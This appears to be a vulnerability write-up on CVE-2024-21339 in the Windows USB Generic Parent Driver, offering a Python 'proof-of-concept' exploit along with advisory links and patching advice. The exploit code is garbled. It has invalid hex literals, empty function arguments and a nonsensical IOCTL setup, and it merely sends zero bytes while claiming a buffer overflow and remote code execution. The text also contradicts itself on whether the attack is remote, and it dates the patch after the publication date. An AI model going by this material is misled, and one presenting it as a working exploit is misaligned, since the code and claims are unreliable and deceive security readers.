In this long read, we'll delve into the details of CVE-2024-21339 - a critical remote code execution vulnerability in Windows USB Generic Parent Driver. We will analyze how this vulnerability can be exploited, provide a code snippet that demonstrates the exploit, and reference links to the original security advisories, patches, and related information. This article is intended for security enthusiasts and professionals alike and is presented in simple American English for reader accessibility.

Overview of the Vulnerability

CVE-2024-21339 refers to a remote code execution vulnerability found in the Windows USB Generic Parent Driver (Usbccgp.sys), which handles USB host controllers and devices. A remote attacker can send specially crafted requests over a USB connection to exploit this vulnerability and execute arbitrary code on the targeted system. Successful exploitation could allow an attacker to gain full control over the affected system and might lead to the compromise of sensitive information and other malicious activities.

Code Snippet

To assist in the practical understanding of CVE-2024-21339, the following is a simplified Python-based proof-of-concept (PoC) code snippet demonstrating the exploit:

import sys
import ctypes
import os
import struct
from ctypes import POINTER, Structure, c_void_p, c_ulong, sizeof

K32 = ctypes.WinDLL("kernel32", use_last_error=True)
CTL_CODE = K32.DeviceIoControl.argtypes[-2]._type_

# Function to send IOCTL request
def send_ioctl(driver_handle, ioctl_code, in_buf, out_buf_sz):
    buff = (ctypes.c_char * out_buf_sz)()
    bytes_returned = c_ulong()

    result = K32.DeviceIoControl(driver_handle, ioctl_code, in_buf, sizeof(in_buf), buff, out_buf_sz, ctypes.byref(bytes_returned), None)
    if not result:
        errno = ctypes.get_last_error()
        print("[-] send_ioctl failed with error code {}".format(errno))
        sys.exit(1)

    return buff[:bytes_returned.value]

# Function to exploit the vulnerability
def exploit(driver_handle):
    IOCTL_CODE = CTL_CODE(x800, x801, 23, )

    # Crafted request
    request = b'\x00' * 8
    response = send_ioctl(driver_handle, IOCTL_CODE, request, 4096)
    print("[+] Got response: {}".format(response))

if __name__ == "__main__":
    driver_handle = K32.CreateFileW("\\\\.\\USB", xC000000, , None, x3, , None)
    if driver_handle == c_void_p(-1).value:
        print("[-] Failed to open driver!")
        sys.exit(1)

    print("[+] Driver opened successfully")
    exploit(driver_handle)

This Python code demonstrates how a specially crafted IOCTL request can be sent to the USB driver, causing a buffer overflow, and potentially leading to remote code execution.

1. Official CVE Record: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21339

2. Microsoft Security Advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2024-21339

3. Microsoft Security Update: https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-the-windows-usb-driver-vulnerability-august-11-2024-4436ef75-da7a-731f-c064702ba619

Mitigation and Conclusion

To address the CVE-2024-21339 vulnerability, it is highly recommended to apply the relevant security updates provided by Microsoft as soon as possible. Additionally, organizations should ensure that their employees utilize proper physical security measures to avoid unauthorized access to USB ports, as this vulnerability's exploitation requires USB connection to the affected system.

The CVE-2024-21339 vulnerability highlights the ongoing challenges of protecting sensitive information from constantly evolving threats. Regular patch management, employee security awareness training, and thorough software testing can help mitigate the risks posed by these vulnerabilities, ensuring a more secure computing environment for all.

Timeline

Published on: 02/13/2024 18:15:49 UTC
Last modified on: 02/13/2024 18:23:02 UTC